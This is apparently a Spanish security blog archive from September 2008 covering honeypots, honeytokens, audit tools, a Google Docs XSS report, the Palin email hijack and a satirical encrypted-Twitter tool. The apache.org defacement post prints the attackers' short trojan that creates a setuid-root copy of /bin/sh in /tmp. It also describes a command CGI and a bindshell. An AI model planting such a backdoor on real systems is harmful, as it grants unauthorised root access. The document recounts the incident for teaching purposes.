30 septiembre 2008

Google Docs y el problema de las macros, versión 2.0

En el momento que las suites de oficina Office incorporaron la posibilidad de incluir código Visual Basic como parte del documento creando las famosas 'macros', los documentos .doc .xls y compañía dejaron de ser ficheros 'sin peligro' y pasaron a ser ficheros sobre los que tener cien ojos encima como si se tratara de ficheros .exe

Con el advenimiento de las aplicaciones ofimáticas web como la archifamosa GoogleDocs era evidente que la técnica mutaría en sus formas pero no en su concepto.

¿En que han cambiado las cosas? Simplemente donde antes eran funciones escritas en Visual Basic, ahora el peligro está en los documentos que contengan código en JavaScript.

Alfredo Melloni ha descubierto que formateando debidamente funciones JavaScript en un documento GoogleDoc, se puede llegar a ejecutar código JavaScript en el navegador de la persona que esté visionando el documento.

El ataque no es nada nuevo, un XSS puro y duro, del tipo a los que hemos comentado antes por aquí, cuyo riesgo más evidente es que se puede robar la sesión de la víctima, y a la postre siendo una sesión en Google, la perdida de tu cuenta de correo electrónico en Gmail. ¿Inquietante, verdad?

A partir de ahora, cuando nos lleguen las típicas invitaciones para visitar un documento en GoogleDoc, habrá que tener las mismas precauciones que cuando interactuamos con un fichero .doc
Leer más...

Peticiones online con firma digital

Webs que permiten realizar peticiones online para recolectar firmas existen muchas, tal vez la mas vetusta y mítica sea petitiononline. Normalmente este tipo de webs se basan en algo tan poco confiable como cuentas de correo electrónico. Obviamente el crédito de este tipo de iniciativas mas allá de tomar el pulso a un tema carece de cualquier valor real.

Con la consolidación de la firma digital (y mas en España con el DNI-E) era una cuestión de tiempo que surgiera alguna opción que se apoyara en algo mas fiable y que incluso pueda tener validez legal.

Hace relativamente poco tiempo he conocido la web de "firmas online" que permite, a coste cero, lanzar una campaña de petición de firmas apoyada en firma digital. Como era de esperar, esta web soporta firmas de la FNMT y el DNI-e pero no se queda ahí, en realidad soporta hasta 208 CAs de distintos países y organizaciones.

Tal vez lo realmente llamativo del proyecto es la posibilidad de que se cursen peticiones de tipo ILP (Iniciativa Legislativa Popular) que, básicamente, se supone que es una opción participativa que permite la creación / modificación de leyes por iniciativa popular.

Evidentemente lo que algún día sera la e-democracia está aun muy muy verde e iniciativas como 'firmas online' son el embrión de lo que en un futuro puede que lleguen a ser las cosas.

A nivel técnico, no hay demasiada información en la web, para empezar y dado que ya me ha tocado 'pegarme' con proyectos en los que están involucrados certificados de la FNMT, sería interesante conocer si han llegado a un acuerdo con la FNMT para tener acceso a sus CRLs ya que, de no ser así, no se podría comprobar si un certificado digital está o no en vigor (la casa de la moneda, cobra por este servicio) y también un dato interesante es si emplean algún tipo de sellado de tiempo a la hora de archivar las firmas.

En definitiva, me llama muchisimo la atención esta iniciativa y pese a que ellos en la web dicen que en virtud de la ley de firma digital "una firma digital tiene idéntica validez que la manuscrita" en realidad este punto aun resulta un tanto opaco en el mundo real y los requerimientos reales suelen superar la complejidad inicialmente prevista.

En la web existen muchas peticiones loables como la iniciativa para el cumplimiento integro de penas en casos de pederastia, u otra mas techi para pedir que no se cierren mas portales p2p.

¿Alguien se anima a lanzar alguna petición con firma digital?
Leer más...

29 septiembre 2008

HoneyPots WIFI

Tener una red WIFI es un tema muy delicado, y más si se trata de un entorno corporativo. Como por todos es sabido, las clásicas medidas de protección basadas en filtrado de direcciones MAC son, aparte de tediosas en configurar si el entorno es lo suficientemente grande, inefectivas por completo.

El verdadero reto en un entorno WIFI grande es poder detectar si alguien esta conectado de forma fraudulenta. En ese escenario, se puede configurar una red de HoneyPots WIFI que permitan detectar la presencia de personas conectadas desde fuera del recinto de la organización, ya que lo mas probable es que los accesos malintencionados se produzcan desde fuera del perímetro.

Uno de los puntos claves, y donde realmente se juega el partido, es en la capacidad de optimizar las zonas de cobertura de los Access Points 'legales'. Estrategias para ello hay muchas y obviamente depende del entorno que se pretenda optimizar, no es lo mismo un edificio, que un piso del edificio. En general, un Access Point decente admite el uso de antenas externas, adquiriendo antenas direccionales en vez de las clásicas omnidireccionales, podremos dirigir con bastante precisión el radio de cobertura.

Una vez completada la optimización de la cobertura y teniendo bajo control los posibles 'leaks' (NetStumbler es tu amigo), pasamos a la fase dos que consiste en crear una red paralela de AccessPoint cuya cobertura esté optimizada a la inversa, es decir, que su área de cobertura sea hacia el exterior y a ser posible con poca incidencia interna.

El modelo deseado se puede ver, gráficamente, así (click para ampliar):

Es muy importante que la red Honeynet comparta el mismo essid y el mismo channel de emisión. Es conveniente hacerlo así para que, desde dentro, al estar los honeypots emitiendo en el mismo channel a menor frecuencia, los clientes legítimos siempre conecten a los corporativos y a la inversa, las conexiones externas deben acabar siempre en los honeypots.

Otro punto a destacar es que tanto si se emplea un servidor radius para validar las conexiones WPA o EAP-TLS, en la red HoneyPot debe haber una copia de la base de datos, ya que lo interesante es averiguar que cuenta / certificado digital ha sido comprometido para el acceso malintencionado.

Una vez implementada la infraestructura, solo queda configurar la red Honeynet para que envíe información a un punto central donde se puedan diseñar alarmas en caso de que se produzca un login satisfactorio. Muchos servidores Radius permiten exportar vía syslog la información. En un próximo post recomendaré una estupenda herramienta para realizar correlaciones de este tipo.
Leer más...

26 septiembre 2008

NeoPwn, o como empezar a olvidarse del juego de "la serpiente"


Es un título un poco extraño para un post de un blog referente a seguridad, pero creo que al final de su lectura entenderéis el por qué. Hoy os quiero hablar de NeoPwn, una distribución linux que engloba herramientas de seguridad, pero que lejos de estar preparada para un portátil o sobremesa, nace como distribución para ser instalada en teléfonos móviles, más concretamente en aquellos que ejecuten OpenMoko, que para los que no lo conozcáis, se trata de una propuesta de sistema operativo libre para teléfonos, que a su vez, cuentan con hardware también libre.

En la actualidad, existen varias marcas de dispositivos que soportan este sistema en algunos de sus modelos, entre ellas HTC y Motorola, aunque primeramente se crearon dispositivos especificos para ejecutar OpenMoko, como son el Neo 1973 y el Neo FreeRunner (con una estética bastante....curiosa).

Aprovechando la libertad de estos teléfonos en cuanto a ejecutar un sistema operativo así, y sabiendo que aunque no son óptimas, las prestaciones de hardware cada vez son mejores para realizar tareas pesadas, neopwn nace como recopilación de herramientas mediante las cuales, podemos pasar el rato realizando análisis de otros dispositivos o pentesting directamente desde nuestro teléfono, con las limitaciones que esto conlleva. La más importante: el no disponer de un teclado físico (pero bueno, una buena recopilación de scripts personalizados podrían evitar el escribir comandos específicos una y otra vez...).


Viene cargadito de cosas el invento...

Herramientas tan de sobra conocidas como son nmap, netcat, metasploit y thchydra, que ahora podremos ejecutar en un aeropuerto, restaurante, biblioteca o en la sala de espera del dentista, todo ello sin tener que sacar un portátil, que aunque ahora son más pequeños, realmente, un teléfono móvil siempre pasará más desapercibido...

¿Con cual te quedas? Quién nos lo iba a decir hace unos años...

[+] Página oficial del proyecto NeoPwn
[+] Listado de aplicaciones que recopila NeoPwn
Leer más...

SARA, una alternativa a Nessus

Cuando pensamos en auditorías en modo genérico normalmente la primera palabra que nos viene a la cabeza es Nessus, herramienta de la que hemos hablado por aquí en alguna ocasión.

Pero como no solo de Nessus vive el hombre, voy a presentar una alternativa que, aunque no tiene el tirón mediático de Nessus, lleva ahí bastante tiempo y merece la pena darle una oportunidad.

S.A.R.A. es una herramienta de auditorias de propósito general que comparte con Nessus el concepto de plugins, con la salvedad de que resulta mucho mas flexible (no estás atado al lenguaje propietario de Nessus para escribir los plugins) y que tiene un buen numero de plugins disponibles que abarcan desde scaners de puertos, hasta sofisticadas herramientas para probar ataques XSS.

SARA no tiene per se una interface gráfica, emplea el navegador web como forma de comunicarse.

Cierto es que Nessus, desde que se profesionalizó, ha ganado mucho en cuanto a calidad en su forma de realizar las auditorías, y en su manejo, la sensación de 'herramienta profesional' es mucho mayor que SARA, sin embargo, SARA es mucho mas 'old school' y si tu eres de los que no te asusta la linea de comandos e incluso la prefieres, seguro que le acabas encontrando el gusto. Además si Perl se encuentra entre tus lenguajes favoritos, definitivamente SARA te va a hacer muy feliz ya que la mayoría de sus plugins están escritos en ese lenguaje
Leer más...

24 septiembre 2008

Como detectar peligro REAL con HoneyTokens

Siguiendo la estela de mi anterior post, hoy hablaré de HoneyTokens, un concepto que he visto muy pocas veces comentado y prácticamente en ningún sitio implementado.

Cualquier organización con un equipo de seguridad, tarde o temprano tiene que elaborar informes y tratar de definir de una forma mas o menos precisa métricas que indiquen aspectos como el grado de exposición ante ataques del exterior o el famoso 'nivel de riesgo'. El problema a la hora de abordar esa tarea es que resulta complejo discernir un riesgo real del simple ruido.

Cualquiera que tenga un servidor web expuesto en Internet se puede pasar divertidas horas ojeando los ficheros de logs viendo toda clase de ataques, da igual que la maquina sea un simple servidor web casero o www.google.com, los ataques se suceden día tras día y van desde escaneos buscando una aplicación especifica generados desde algún host comprometido, hasta barridos masivos con herramientas tipo nikto.

Basar el nivel de riesgo en el numero de ataques de este tipo es bastante irreal, porque el 99,9% son búsquedas de aplicaciones que no tenemos instaladas o buscando versiones realmente vetustas. Tratar de implementar una política de anticipación basada en el numero de ataques recibidos es una tarea fútil.

Una forma bastante efectiva de saber cuando hay que poner en rojo todas las alarmas es la implementación de HoneyTokens como sistema de anticipación. Un HoneyToken, básicamente, es una información aparentemente valiosa, que se encuentra escondida para que no pueda ser descubierta fortuitamente, pero a la cual se puede llegar con algo de hacking. La información que contiene el token conduce a un sitio monitorizado para que, cuando el atacante haga uso de esa información, tengamos certeza absoluta de que algo importante está sucediendo.

Un ejemplo de HoneyToken sencillo de entender y de implementar podría ser esconder dentro de la infraestructura web de la organización un fichero en formato excel con un nombre revelador, tipo contraseñas-servicio.xls al cual no se pueda llegar mediante navegación normal pero que si se encuentre indexado por Google. Es importante que ese fichero aparezca en Google si alguien realiza una consulta del tipo: site:www.organizacion.com filetype:xls

Si alguien se está planteando atacar en serio nuestra organización, es casi seguro que recurrirá al famoso "Google Hacking" para recabar información, y normalmente las cosas que se suelen buscar van en la linea de documentos tipo bases de datos access o ficheros excel

En ese fichero, además de poner varios pares usuario/contraseña se le añade como encabezado algo al estilo "Usuarios soporte Callcenter https://callcenter.organizacion.com" para que el atacante sepa donde debe dar el siguiente paso. Este ejemplo es bastante efectivo pero obvio, la forma en la que cada cual lo implemente varía en función de la imaginación y grado de dificultad que se le quiera dar al "reto".

El siguiente punto es implementar una pequeña aplicación-señuelo en la URL que hemos puesto en el fichero excel simulando una aplicación de soporte a usuario. No es necesario implementar la aplicación en si, basta con un frontal donde introducir usuario/contraseña y que en caso de ser correcto, muestre un mensaje de error tipo "No se pudo contactar con la base de datos". Con eso, suficiente. La siguiente parte es montar el sistema de monitorización, en este supuesto bastaría con hacer que la aplicación web, al realizarse un login satisfactorio, envíe un mail avisando.

Versiones mas complejas de esta idea pasan por simular una aplicación web vulnerable a un ataque de tipo SQL Injection en el que se puedan obtener los usuarios para acceder a algún panel de gestión (Se puede tomar como ejemplo WebGoat). El hecho en si de que alguien se tome la molestia de hackear la aplicación, construir las sentencias sql, sacar la lista de usuarios y contraseñas e intentar usarlas, ya debería ponernos en la pista de que algo fuera de lo común está sucediendo sobre lo que debemos actuar urgentemente.
Leer más...

23 septiembre 2008

Hackeos menos memorables. Revisión de un par de libros

Según he ido viendo la saga de posts dedicados a hackeos memorables, así como la detallada y académica explicación que nos ha dado Alex sobre el compromiso llevado a cabo a apache.org, he querido hacer una breve revisión de un par de libros.
En ellos precisamente se puede disfrutar (sí, disfrutar) de ejemplos prácticos (reales o ficticios) en los cuales se explica con todo lujo de detalles diferentes compromisos a organizaciones. Como cualquier novela de intriga, Hackers: 20 desafíos prácticos y Hackers: 19 desafíos prácticos más se exponen diversos casos posibles de compromisos en la primera parte, y se explica cómo resolverlos en la segunda parte del libro. No son libros con los que se pueda aprender a llevarse por delante un servidor utilizando un exploit obtenido de una página web de estas con fondo negro, sino más bien orientados a administradores de sistemas (que deben concienciarse de lo importante que es la seguridad de aquello que configuran y gestionan), así como para expertos y curiosos sobre seguridad informática que han tenido la oportunidad de llevar a cabo alguna vez un análisis forense.

Curiosamente, estos dos libros me los leí años atrás por recomendación de Yago (por recomendación y por préstamo, que los libros eran suyos) y posteriormente en el ISP en el que trabajábamos ambos en esos momentos tuvimos que llevar a cabo un análisis forense por una máquina mal configurada y una regla de cortafuegos mal puesta por el departamento de comunicaciones.

Dos libros para una fría tarde de invierno...
Leer más...

Hackeos memorables: apache.org

Uno de mis hackeos favoritos fue el que sufrió el web de apache.org, en este caso, debido al método que utilizaron y la explicación de como se hizo. Un cuento de hackers que siempre me gusta narrar cuando hacemos formaciones y explicamos la importancia de las vulnerabilidades con criticidad baja o media y las vulnerabilidades causadas por configuraciones incorrectas de servicios.

La historia original la podéis ver en la cache de google, o buscando por el nombre del archivo: how.defaced.apache.org.txt.

Básicamente la intrusión pudo ocurrir por varios motivos:

  1. El DocumentRoot del servidor web era el mismo DocumentRoot del servidor ftp.
  2. Dentro del DocumentRoot se permitía la creación de ficheros.
Esto fue observado por los hackers, que rápidamente generaron un cgi que les permitiese ejecutar comandos y lo subieron vía FTP, ahora solo tendría que acceder a través de la web a ese cgi para llamar a los binarios que quisieran ejecutar. La barrera más difícil de cruzar, ya había sido rota.

Los intrusos decidieron subir una "bindshell", para facilitarse el acceso mediante telnet, así que realizaron una llamada al cgi que habían subido para descargar esta herramienta, y posteriormente ejecutarla, abriendo un nuevo puerto al que tendrían acceso directo mediante una contraseña.

Con acceso local al sistema, ya conocían que el sistema operativo era un FreeBSD, podían haber roto la seguridad explotando alguna vulnerabilidad conocida y conseguir de este modo permisos de superusuario, pero el objetivo era llegar a ese mismo hito únicamente utilizando errores de configuración.

El siguiente paso fue conseguir acceso al servidor de base de datos que ejecutaba el equipo. Un MySQL con una cuenta trivial, nombre de usuario "bugs". Mediante este nuevo acceso con nuevos privilegios, puesto que el mysql se ejecutaba con usuario root, era posible escribir archivos allí donde fuera necesario como usuario root y con permisos 666.

Con esta posibilidad, crearon un pequeño troyano en el fichero: /root/.tcshrc
   #!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc

Ahora solo tenían que esperar a que uno de los ¡¡¡¡¡9!!!!! administradores se logeara en el sistema y ejecutara un "su". No tardó mucho en ocurrir.

Los hackers reportaron la intrusión después de arreglar ellos mismos algunos fallos.

Impresionante, ¿no?
Leer más...

22 septiembre 2008

HoneyPots ¿Valen para algo?

En alguna ocasión me ha tocado participar en proyectos donde uno de los objetivos, era implementar una infraestructura de HoneyPots como parte del sistema defensivo. Hace unos años, cuando el concepto 'eclosionó' la gente tenía la impresión de que un HoneyPot era una herramienta de índole universitaria, que se instalaba y su finalidad (mas allá de la enorme cantidad de horas que requería el juguete) era detectar nuevas trazas de ataques, malware y similar.

Obviamente eso no sucedía, los HoneyPots si se configuraban con servicios vulnerables, eran atacados con exploits públicos, 'rooteados' con troyanos públicos y encima, si el asunto no se cogía a tiempo, la maquina empleada para atacar otros sistemas.

Con ese panorama el concepto quedó bastante tocado. Desde mi punto de vista la idea simplemente no se había sabido explotar. Un HoneyPot empleado como sistema de alerta temprana, puede ser mucho mas efectivo que un IDS ya que normalmente no está sujeto a falsos positivos. El problema es que un HoneyPot clásico (servicios vulnerables) nunca debe ser instalado en una red DMZ, el lugar correcto es una red interna, ahí si que tiene su utilidad ya que un ataque a un servicio en ese segmento de red si puede servir y mucho para tirar del hilo y detectar un incidente que normalmente suele ser bastante inquietante.

Otro aspecto clave a la hora de que un HoneyPot sea efectivo es la habilidad para automatizar las alertas sin intervención humana, de nada sirve si el sistema está sujeto a que alguien tenga que, periódicamente, auditar el sistema. Este punto que ha sido, tal vez, el mas descuidado es, a mi juicio, lo que hace pasar algo de inútil a útil.

Estrategias para tratar las alertas hay muchas, re-envío silencioso de las trazas del sistema, sistemas IDS en modo stealth frente a las maquinas señuelo y por supuesto, un sistema que permita correlar esa información (si algo genera mas información que un personaje del mundo rosa es un IDS)

Como parece que los HoneyPots es de esos temas de los que apenas se habla en un plano profesional, sirva este post como anticipo de otros donde hablaré de temas mas específicos y concretos que permitan sacar utilidad a los HoneyPots
Leer más...

21 septiembre 2008

Guia de OWASP versión 2.0.1 liberada en español

El grupo de OWASP en español, en el que José Antonio Guasch y yo participamos, acaba de publicar la versión 2.0.1 de su guía para la construcción segura de aplicaciones web. Un material de obligada lectura para auditores, consultores o desarrolladores de aplicaciones web.

Esta guia vio la luz en la BlackHat del año 2005, en la que sufrió bastantes cambios de su versión anterior.

OWASP, además de este famoso documento, dispone de muchos otros proyectos de interés general que pueden ser consultados en la página web: http://www.owasp.org/index.php/Category:OWASP_Project.

Bajo una mirada crítica, la organización OWASP esta sufriendo el efecto "Google", tienen demasiados frentes abiertos, unos con sentido y otros sin él. De hecho, esto es algo que se ha debatió ya en algunas lista de correo como "web security", y un hilo que nació a raíz de una nueva versión de una aplicación para el rastreo de directorios ocultos. ¿Reinventar la rueda? No gracias.

Leer más...

20 septiembre 2008

Sistemas de control de versiones


Dentro del SDLC (Systems Development Life Cycle), se han de contemplar puntos de control de seguridad para obtener las máximas garantías en el ámbito de desarrollo seguro. Algo imprescindible es el uso de una herramienta que permita realizar tanto a desarrolladores, como auditores un control de versiones y cambios. Sobre todo en sistemas en producción donde la gestión de las librerías es de vital importancia.

Hoy siguiendo mis lecturas habituales he encontrado un gran artículo, de SmashingMagazine que evalúa aplicaciones de código abierto para esta gestión y control. Entre estas utilidades se encuentran las 7 más importantes:

Podéis ampliar a otras herramientas comerciales en el artículo de la wikipedia: http://en.wikipedia.org/wiki/Comparison_of_revision_control_software, aunque realmente este tipo de información puede no ser exacta, si se obtiene un buen listado de software.

Para finalizar, comentar algo que realmente promete ser interesante, OpenCVS, el producto de nuestros amigos de OpenBSD, pensado con la misma filosofía que su sistema operativo: como máxima premisa: la seguridad.


Leer más...

19 septiembre 2008

Inprotect: Auditorías e informes centralizados

A la hora de gestionar una política de auditorías en un entorno amplio, es necesario centralizar los informes, que estos tengan la suficiente calidad y marcar cierta periodicidad en los escaneos para poder hacer seguimientos. Nessus, además del frontend que acompaña a la herramienta, es un excelente motor para realizar auditorías de forma desatendida ya que desde su origen, ha empleado una arquitectura cliente-servidor lo que permite usar el motor sin usar el frontend.

Con esa premisa bajo el brazo, la gente de Inprotect ha diseñado una interface web con idea de ampliar las características del proyecto Nessus.

En concreto, su interface permite, vía navegador, configurar un escaneo que se realice una vez por semana, una vez por mes o en general, que se realice en un determinado periodo de tiempo y periodicidad, con lo que de esa forma podemos plantear una política de auditorías homogénea y rigurosa.

Inprotect, amplia y mejora los informes emitidos por Nessus, lo que unido a su capacidad de programar escaneos, permite comprobar la evolución de la gestión de la seguridad en materia de vulnerabilidades.

La gestión de usuarios es muy flexible y está basada en roles y perfiles, de forma que podemos configurar unos determinados usuarios que únicamente puedan ver los informes de las auditorías, otros que puedan realizar escaneos sobre un grupo de maquinas y finalmente, administradores con control total de la aplicación.

En definitiva, a la hora de implementar una estrategia de auditoría en una organización, Inprotect debería ser considerado como una opción a tenerse muy en cuenta. La única 'pega' es que inprotect se encuentra en versiones beta, pese a que su desarrollo lleve ya unos cuantos años en marcha. El handicap real de Inprotect es que requiere, para su instalación y mantenimiento, perfiles con conocimientos técnicos elevados ya que no es la típica herramienta cuya instalación sea: siguiente-siguiente-siguiente-aceptar

Las correspondientes capturas de pantalla de la aplicación, aquí
Leer más...

18 septiembre 2008

Sarah Palin OWNED

La Candidata a vice-presidenta de los EEUU por parte de los republicanos Sarah Palin, ha sufrido un incidente de seguridad (no confirmado oficialmente) por el que ha perdido el control de su cuenta de correo electrónico, los contenidos de dicha cuenta ya están circulando por Internet.

¿Como es esto posible? Básicamente, y si damos credibilidad a la fuente original (que, es tan solo un foro, aunque ya he visto la noticia replicada en sitios como computerworld). Por lo visto, la buena de Sarah en vez de emplear una cuenta de correo electrónico corporativo, tenía la costumbre de usar su cuenta de Yahoo (gov.palin@yahoo.com) y un grupo de hackers se la han crackeado, rumores dicen que la pregunta secreta: ¿cual es el nombre de tu perro? se la habían formulado en alguna entrevista y de ahí salieron los datos necesarios para el hackeo.

Por lo visto, para mas inri, ya le habían llamado la atención desde su partido a Sarah sobre la no conveniencia de usar una cuenta de correo no corporativa.

Los detalles de la historia contada en forma cronológica, están aquí

La noticia, para todos aquellos que somos usuarios de Gmail, Yahoo o Hotmail debería hacernos reflexionar sobre donde estamos dejando nuestros datos y con que facilidad podemos perder el control de una parte importante de nuestra 'ciber-vida'.

Obviamente, que nos 'quiten' una cuenta en un ISP tipo Telefónica se puede solucionar con una llamada, acreditando vía DNI / Cuenta de cobro nuestra identidad y pidiendo un cambio de contraseña pero, ¿que habría que hacer, si por ejemplo, alguien nos quita una cuenta de Gmail? Obviamente si eres Sarah Palin dos llamadas, pero ¿si eres Juan Español Español ?
Leer más...

16 septiembre 2008

Metodologías de auditoría de vulnerabilidades.




Vamos a presentar algunas de las metodologías que existen hoy en día para la auditoría de vulnerabilidades, ya que mucha gente solo conoce OSSTMM de Isecom. La que por cierto, me parece más sobre valorada que Cristiano Ronaldo el verano pasado.

Leer más...

Hackeos memorables: rootshell.com

28 de Octubre de 1998, el sitio con muchísima diferencia mas destacado sobre (in)seguridad informática había sido hackeado.

La pagina web había quedado de esta guisa, grafiteada en un pseudo-dialecto que aunque cueste creer, tuvo cierto arraigo por esos años. Lo que decía el texto, básicamente, era que se había empleado un exploit 0day y que caerían mas sitios (mencionaban a antionline.com, otro sitio con mucha solera).

El impacto de ese hackeo fue de proporciones inimaginables, el sitio referente sobre seguridad informática, el primer sitio que visitaba cualquier persona ávida de herramientas, exploits y similar, hackeado.

La información que publicaron los administradores del sitio fue que sus sistemas estaban totalmente actualizados y que como servicios públicos estaban ejecutando: Qmail, Apache y SSH.

Automáticamente las sospechas recayeron sobre el servidor SSH en su versión 1.2.26. La gente del IBM Emergency Response Team (IBM-ERS) publicó que habían dado con una pieza de código vulnerable aunque, días después, se retractaron de ello diciendo que el fallo tenia nulas posibilidades de ser explotado.

Qmail, no podía ser candidato, si por algo se caracteriza es por su seguridad, durante mucho tiempo su autor DJ Berstein ofreció dinero en metálico para todo aquel que consiguiera encontrar una sola vulnerabilidad.

Apache, en ese momento gozaba de mucho prestigio frente a IIS y pese a que luego se sucedieron un buen numero de bugs en algunos de sus módulos mas famosos (como por ejemplo ssl) rápidamente fue descartado como causante del hackeo.

Las especulaciones se sucedían, los autores del software SSH tenían incluso una pagina web sobre el affaire rootshell (que a día de hoy hay que consultar vía archive) en el que comunicaban los avances sobre lo que iba pasando, incluso empezó a circular por Internet un supuesto exploit para SSH llamado sshdwarez.c que en realidad lo que hacia era troyanizar el sistema sobre el que se ejecutaba.

El caso es que a día de hoy, es imposible determinar como y quien hackeo Rootshell, pero lo cierto es que tras ese incidente rootshell fue perdiendo frescura en las actualizaciones, mas tarde, se frenó en seco y al final, desapareció sin hacer demasiado ruido (hoy día ni siquiera responde el dominio www.rootshell.com).

Un sitio de referencia, que salia en casi cualquier libro sobre seguridad informática de la época, muerto en combate. Mas tarde llegaría la transformación de muchos sitios web de corte underground al mundo empresarial como por ejemplo la lista de seguridad Bugtraq (comprada por SecurityFocus) y otros muchos grupos que se pasaron al dolar (mención honorífica para ISS).

Resulta imposible saber que hubiera pasado si rootshell hubiera seguido al pie del cañón, tal vez hubiera acabado siendo una firma de seguridad y ahora estuviera en manos de IBM o Microsoft. Who knows ...
Leer más...

15 septiembre 2008

Como sincronizar un comando terrorista con Twitter

Twitter, la web que inventó el concepto microblogging, que tanto ha dado que hablar (y del que ya propusimos un uso) pero que últimamente parece que anda perdiendo algo de tirón mediático, es la protagonista en el post de hoy.

Después de 'tanto' tiempo online lo cierto es que los usos que la gente ha inventado parece que dejan poco espacio a la imaginación, no obstante, como hay un amplio sector de la población que al ser preguntados sobre Internet responden:
a) refugio de pedofilos
b) refugio de terroristas

Vamos a dedicar este post a un posible uso de Twitter por parte de esos malvados terroristas que pueblan a sus anchas Internet.

Después del advenimiento de 'Carnivore' y de 'Echelon' imagino que ser terrorista se pone complicado, el uso de la 'Internet 1.0' parece que no es lo mas óptimo así que, ¿porque no, joven Yihaidista modernizarte y pasarte a la web 2.0? Si algo tiene de bueno twitter es la facilidad que ofrece para sincronizar personas dispersas geográficamente de una forma centralizada. Pero claro, está el problema de que ir por ahí publicando las 'acciones libertarias' a todo el mundo no parece lo mas sensato. Se necesita ir un paso mas, se necesita que solo tu y tu grupo podáis tener acceso a esa información y para eso, la única forma decente de hacerlo es usar criptografía.

Con esas premisas hemos diseñado una herramienta que se ajusta a las necesidades, un cliente Twitter que es capaz de enviar información cifrada empleando un algoritmo bastante decente (RC4) que sirve tanto para enviar updates cifrados como para consultar los updates cifrados que hayan hecho tus contactos.

Puedes descargarlo aquí para versiones Linux y Mac (libertarios y Jeques) y aquí en versión Windows (versión terrorista infiltrado)

El uso de la herramienta es de lo mas sencillo, para enviar un update:

ciphertwitter.exe -m put -u sbdtwit -p xxxx -t "El embajador se encuentra en su casa" -c 1234

Descripción de los parámetros:

-m put (para indicar que estas haciendo un update)
-u sbdtwit (TU usuario en twitter)
-p xxxx (la contraseña de TU usuario)
-t "El embajador se encuentra en su casa" (El texto del update entre comillas)
-c 1234 (La contraseña PARA CIFRAR los datos, esta contraseña ha de tenerla el que quiera leer)

Y para leer los updates de tu perfil que se hayan enviado cifrados:

ciphertwitter.exe -m get -u otrouser -p yyyy -c 1234 -n 4

Descripción de los parámetros:

-m get (para obtener los updates)
-u otrouser (TU usuario en Twitter)
-p yyyy (TU contraseña)
-c 1234 (la contraseña maestra con la que se encuentran cifrados los datos)
-n 4 (El numero de updates que quieres leer)

Ejemplo:

ciphertwitter.exe -m put -u sbdtwit -p xxxx -t "El embajador se encuentra en su casa" -c 1234
Update cifrado, enviado

ciphertwitter.exe -m get -u otrouser -p yyyy -c 1234 -n 2
Estos son los ultimos 2 Mensajes

Sun Sep 14 18:15:49 +0000 2008
User: sbdtwit
El embajador se encuentra en su casa
Sun Sep 14 15:26:33 +0000 2008
User: Yihaboy
He llegado a New York

Lo único sospechoso del asunto es que en tu pagina de Twitter, los posts aparecerán tal que así:



Leer más...

13 septiembre 2008

LHC OWNED

Leo en el mundo que un grupo de hackers griegos ha conseguido 'defacear' la web del LHC (el ampliamente divulgado, Gran Colisionador de Hadrones).

Por lo visto, el grupo ha dejado una 'simpática' nota criticando a los responsables de la web y llamándoles "grupo de escolares", hasta aquí nada nuevo, tal vez dentro de un tiempo pudiera formar parte de nuestra sección "hackeos memorables" lo que si llama la atención poderosamente es la forma de amarillear la noticia, citando a "fuentes anónimas" que revelan muchísima preocupación y de como estuvieron apenas a un paso de conseguir acceso a la plataforma de administración y como prácticamente esto ha llevado a convocar gabinetes de crisis y a una honda preocupación.

Desde mi punto de vista, dudo muchísimo que a día de hoy, organizativamente alguien haya diseñado la topologia de red permitiendo conectividad directa entre la parte de gestión-administración de la plataforma y la red de servicios públicos.

Pensar eso, seria pensar que si alguien consiguiera acceso a www.cia.gov acto seguido podría acceder a los expedientes secretos de los terroristas mas buscados en el mundo.

Tal vez, en la dorada época de principio de los 90 ese tipo de chapuzas, por el desconocimiento y la bisoñez pudieran ser posibles (aunque no probables) pero en pleno 2008 pensar que desde la web divulgativa de un proyecto que ha costado miles de millones de Euros, uno puede llegar a moverse hacia redes que tendrán unos niveles de seguridad parecidos a los de organismos militares (Firewalls, IDS, IPS, Autenticación fuerte), es una forma de convertir una anécdota en una hipérbole.
Leer más...

12 septiembre 2008

Rootkits con soporte comercial (y versión opensource)

Leo en the register que la empresa Inmunity acaba de lanzar un rootkit para Linux con licencia opensource llamado DR.

Immunity que en el pasado protagonizó episodios bastante grotescos es la autora del software para realizar auditorías llamado Canvas, que viene a ser una versión de pago del famoso metasploit (al que en algún momento, seguro, le dedicaremos un post)

A la gente de 'the register' les llama mucho la atención que el código fuente del troyano haya sido liberado con licencia GPL pero a mi, lo que realmente me choca, es que se ofrezcan a dar soporte comercial dentro del paquete Canvas, lo que podría alumbrar una suerte de troyanos 0day para todo aquel que esté dispuesto a pagar.

Como persona interesada en análisis forenses y en detección de rootkis me parece una temeridad y bastante poco ético que una empresa ofrezca este tipo de servicios. Que Immunity siempre ha pecado de tener unos 'curiosos' principios no es nada nuevo, pero que lleguen a este extremo es lanzarse al todo-vale de una forma descarada.

A mi todo esto me recuerda a esos anuncios del estilo "¿quiere espiar a su pareja? tenemos un troyano indetectable que ..."
Leer más...

10 septiembre 2008

Pandora FMS 1.2 lanzado

Pandora es un sistema de monitorización de sistemas creado por Artica (empresa Española, producto nacional) y que tal vez sea el producto mas sorprendente en el ámbito de la monitorización que exista en el mercado.

La monitorización de sistemas es, sin duda, el aspecto mas crítico en un departamento de sistemas a la hora de definir prioridades, incluso frente a otras áreas que parecen mas fáciles de recordar a la hora de definir 'seguridad' ya que la disponibilidad es uno de los pilares a la hora de prestar un servicio.

Pandora FSM acaba de lanzar su versión 1.2 que amplia y mejora el buen hacer de anteriores versiones. Entre otras cosas, su ya de por si impresionante consola de monitorización se ve ampliada con funcionalidades AJAX, y como aspecto técnico mas destacable, añade la monitorización de sistemas Windows vía WMI (lo que permite evitar tener que ir instalando agentes en cada maquina)

Pandora soporta múltiples sistemas operativos (Windows, Linux, y Unix en general) y ademas es opensource ya que sus creadores están muy implicados en ese mundillo.

Existen dos versiones, la comercial con soporte directo por parte de los creadores y la versión OpenSource con la misma funcionalidad que su hermana comercial y que, como curiosidad, podéis ver una demo aquí.

Sin duda Pandora destaca muy mucho frente a otras soluciones mas clásicas que han evolucionado muy poco estos últimos años.
Leer más...

09 septiembre 2008

Firmado digital de binarios en Linux

